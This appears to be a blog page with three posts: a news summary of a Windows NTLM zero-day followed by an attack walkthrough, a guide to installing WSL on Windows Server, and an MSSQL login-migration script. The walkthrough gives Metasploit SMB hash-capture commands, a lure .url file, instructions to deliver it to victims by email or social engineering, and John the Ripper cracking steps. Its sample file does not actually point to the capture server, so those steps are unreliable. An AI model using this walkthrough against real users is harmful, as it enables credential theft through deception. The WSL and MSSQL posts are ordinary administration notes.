New Windows zero-day exposes NTLM credentials

A new zero-day vulnerability has been discovered that allows attackers to capture NTLM credentials by simply tricking the target into viewing a malicious file in Windows Explorer.

The flaw was discovered by the 0patch team, a platform that provides unofficial support for end-of-life Windows versions, and was reported to Microsoft. However, no official fix has been released yet.

According to 0patch, the issue, which currently has no CVE ID, impacts all Windows versions from Windows 7 and Server 2008 R2 up to the latest Windows 11 24H2 and Server 2022.

The default port for NTLM authentication is port 445, which is primarily used for SMB (Server Message Block) communication. If this port is open and accessible, attackers can exploit NTLM credential leaks, especially in untrusted network environments. This could allow unauthorized access to sensitive systems and, when combined with other attack vectors, enable further actions such as lateral movement or establishing command-and-control (C&C) infrastructure. Therefore, securing port 445 is critical to mitigate such risks.

https://www.bleepingcomputer.com/news/security/new-windows-zero-day-exposes-ntlm-credentials-gets-unofficial-patch/

Exploit that might work. (this is for educational purpose, hacking is bad, don’t hack)

1. Set Up the Metasploit Listener

Start Metasploit:

msfconsole

Use the auxiliary module to create a malicious SMB server:

use auxiliary/server/capture/smb
set SRVHOST <your_attack_machine_IP>
set SRVPORT 445
set JOHNPWFILE /tmp/hashes.john
set CHALLENGE 1122334455667788
run

This creates an SMB server to capture NTLMv2 hashes when a Windows user connects to it.

2. Create a Malicious File

Craft a file containing a link to your SMB server. For example:

[InternetShortcut]
URL=file:///fake

Save the file as something enticing, e.g., ReadMe.url.

3. Host or Distribute the Malicious File

  • Email the malicious .url file to the victim.
  • Host it on a shared drive or external USB.
  • Use social engineering to trick the user into opening the file.

4. Capture NTLM Hashes

Monitor your Metasploit or Responder console for NTLM hash captures.

5. Crack NTLM Hashes

Use John the Ripper to crack captured hashes:

john /tmp/hashes.john --wordlist=/usr/share/wordlists/rockyou.txt

Defensive Measures:

  • Disable NTLM authentication on Windows systems.
  • Regularly apply Windows updates.
  • Use SMB signing to mitigate NTLM relay attacks.

Adding in WSL into Hyper-V VM in Windows Server

Default Windows OS doesn’t allow hyperV feature to be enabled in VM

Create nested Hyper-V

  1. Shut down the VM.
  2. In the host open Powershell with administrator rights.

    Set-VMprocessor ExposeVirtualizationExtension $true
    VMName

  3. Turn on VM.

Installation

  1. Open PowerShell with administrator rights

    Hyper-V is requirement for WSL installation
    Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V -All

    Enable WSL
    Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
  2. Windows server does not have Microsoft store, we will have to download the distribution files.
    https://learn.microsoft.com/en-us/windows/wsl/install-manual#downloading-distributions
  3. Extract the .appx package’s contents, using PowerShell:

Copy-Item .\Ubuntu.appx .\Ubuntu.zip
Expand-Archive .\Ubuntu.zip .\Ubuntu

Add-AppxPackage .\app_name.appx

Add your Linux distribution path to the Windows environment PATH
$userenv = System.Environment::GetEnvironmentVariable("Path", "User")
[System.Environment]::SetEnvironmentVariable("PATH", $userenv + ";C:\Users\Administrator\Ubuntu", "User")

You can now launch your distribution from any path by typing .exe. For example:
ubuntu.exe.

After launching the ubuntu.exe you might encounter Kernel error. WslRegisterDistribution failed with error: 0x800701bc,

link to package https://learn.microsoft.com/en-us/windows/wsl/install-manual

Reference

https://learn.microsoft.com/en-us/windows/wsl/install-on-server

https://learn.microsoft.com/en-us/windows/wsl/install-manual#downloading-distributions

MSSQL: Migrating users

Normally this will happens after setting up AlwaysOn High Availability
Only the Databases are synced.

Run this query in the new MSSQL server.

USE master
GO
IF OBJECT_ID ('sp_hexadecimal') IS NOT NULL
DROP PROCEDURE sp_hexadecimal
GO
CREATE PROCEDURE sp_hexadecimal
@binvalue varbinary(256),
@hexvalue varchar (514) OUTPUT
AS
DECLARE @charvalue varchar (514)
DECLARE @i int
DECLARE @length int
DECLARE @hexstring char(16)
SELECT @charvalue = '0x'
SELECT @i = 1
SELECT @length = DATALENGTH (@binvalue)
SELECT @hexstring = '0123456789ABCDEF'
WHILE (@i <= @length)
BEGIN
DECLARE @tempint int
DECLARE @firstint int
DECLARE @secondint int
SELECT @tempint = CONVERT(int, SUBSTRING(@binvalue,@i,1))
SELECT @firstint = FLOOR(@tempint/16)
SELECT @secondint = @tempint - (@firstint*16)
SELECT @charvalue = @charvalue +
SUBSTRING(@hexstring, @firstint+1, 1) +
SUBSTRING(@hexstring, @secondint+1, 1)
SELECT @i = @i + 1
END

SELECT @hexvalue = @charvalue
GO

IF OBJECT_ID ('sp_help_revlogin') IS NOT NULL
DROP PROCEDURE sp_help_revlogin
GO
CREATE PROCEDURE sp_help_revlogin @login_name sysname = NULL AS
DECLARE @name sysname
DECLARE @type varchar (1)
DECLARE @hasaccess int
DECLARE @denylogin int
DECLARE @is_disabled int
DECLARE @PWD_varbinary varbinary (256)
DECLARE @PWD_string varchar (514)
DECLARE @SID_varbinary varbinary (85)
DECLARE @SID_string varchar (514)
DECLARE @tmpstr varchar (1024)
DECLARE @is_policy_checked varchar (3)
DECLARE @is_expiration_checked varchar (3)

DECLARE @defaultdb sysname

IF (@login_name IS NULL)
DECLARE login_curs CURSOR FOR

SELECT p.sid, p.name, p.type, p.is_disabled, p.default_database_name, l.hasaccess, l.denylogin FROM
sys.server_principals p LEFT JOIN sys.syslogins l
ON ( l.name = p.name ) WHERE p.type IN ( 'S', 'G', 'U' ) AND p.name <> 'sa'
ELSE
DECLARE login_curs CURSOR FOR
SELECT p.sid, p.name, p.type, p.is_disabled, p.default_database_name, l.hasaccess, l.denylogin FROM
sys.server_principals p LEFT JOIN sys.syslogins l
ON ( l.name = p.name ) WHERE p.type IN ( 'S', 'G', 'U' ) AND p.name = @login_name
OPEN login_curs

FETCH NEXT FROM login_curs INTO @SID_varbinary, @name, @type, @is_disabled, @defaultdb, @hasaccess, @denylogin
IF (@@fetch_status = -1)
BEGIN
PRINT 'No login(s) found.'
CLOSE login_curs
DEALLOCATE login_curs
RETURN -1
END
SET @tmpstr = '/* sp_help_revlogin script '
PRINT @tmpstr
SET @tmpstr = '** Generated ' + CONVERT (varchar, GETDATE()) + ' on ' + @@SERVERNAME + ' */'
PRINT @tmpstr
PRINT ''
WHILE (@@fetch_status <> -1)
BEGIN
IF (@@fetch_status <> -2)
BEGIN
PRINT ''
SET @tmpstr = '-- Login: ' + @name
PRINT @tmpstr
IF (@type IN ( 'G', 'U'))
BEGIN -- NT authenticated account/group

SET @tmpstr = 'CREATE LOGIN ' + QUOTENAME( @name ) + ' FROM WINDOWS WITH DEFAULT_DATABASE = [' + @defaultdb + ']'
END
ELSE BEGIN -- SQL Server authentication
-- obtain password and sid
SET @PWD_varbinary = CAST( LOGINPROPERTY( @name, 'PasswordHash' ) AS varbinary (256) )
EXEC sp_hexadecimal @PWD_varbinary, @PWD_string OUT
EXEC sp_hexadecimal @SID_varbinary,@SID_string OUT

-- obtain password policy state
SELECT @is_policy_checked = CASE is_policy_checked WHEN 1 THEN 'ON' WHEN 0 THEN 'OFF' ELSE NULL END FROM sys.sql_logins WHERE name = @name
SELECT @is_expiration_checked = CASE is_expiration_checked WHEN 1 THEN 'ON' WHEN 0 THEN 'OFF' ELSE NULL END FROM sys.sql_logins WHERE name = @name

SET @tmpstr = 'CREATE LOGIN ' + QUOTENAME( @name ) + ' WITH PASSWORD = ' + @PWD_string + ' HASHED, SID = ' + @SID_string + ', DEFAULT_DATABASE = [' + @defaultdb + ']'

IF ( @is_policy_checked IS NOT NULL )
BEGIN
SET @tmpstr = @tmpstr + ', CHECK_POLICY = ' + @is_policy_checked
END
IF ( @is_expiration_checked IS NOT NULL )
BEGIN
SET @tmpstr = @tmpstr + ', CHECK_EXPIRATION = ' + @is_expiration_checked
END
END
IF (@denylogin = 1)
BEGIN -- login is denied access
SET @tmpstr = @tmpstr + '; DENY CONNECT SQL TO ' + QUOTENAME( @name )
END
ELSE IF (@hasaccess = 0)
BEGIN -- login exists but does not have access
SET @tmpstr = @tmpstr + '; REVOKE CONNECT SQL TO ' + QUOTENAME( @name )
END
IF (@is_disabled = 1)
BEGIN -- login is disabled
SET @tmpstr = @tmpstr + '; ALTER LOGIN ' + QUOTENAME( @name ) + ' DISABLE'
END
PRINT @tmpstr
END

FETCH NEXT FROM login_curs INTO @SID_varbinary, @name, @type, @is_disabled, @defaultdb, @hasaccess, @denylogin
END
CLOSE login_curs
DEALLOCATE login_curs
RETURN 0
GO

Run this in the old MSSQL server

EXEC sp_help_revlogin

The result will be a list a CREATE LOGIN query

-- Login: LOCAL\DBUser
CREATE LOGIN [LOCAL\DBUser] FROM WINDOWS WITH DEFAULT_DATABASE = [master]

Copy and paste these scripts to the new MSSQL server and run them.
When encounter error;
– Check DB server properties –> security server authentication mode.
– PID is used –> restart new DB server.
– User already exits –> can ignore or delete and recreate via query.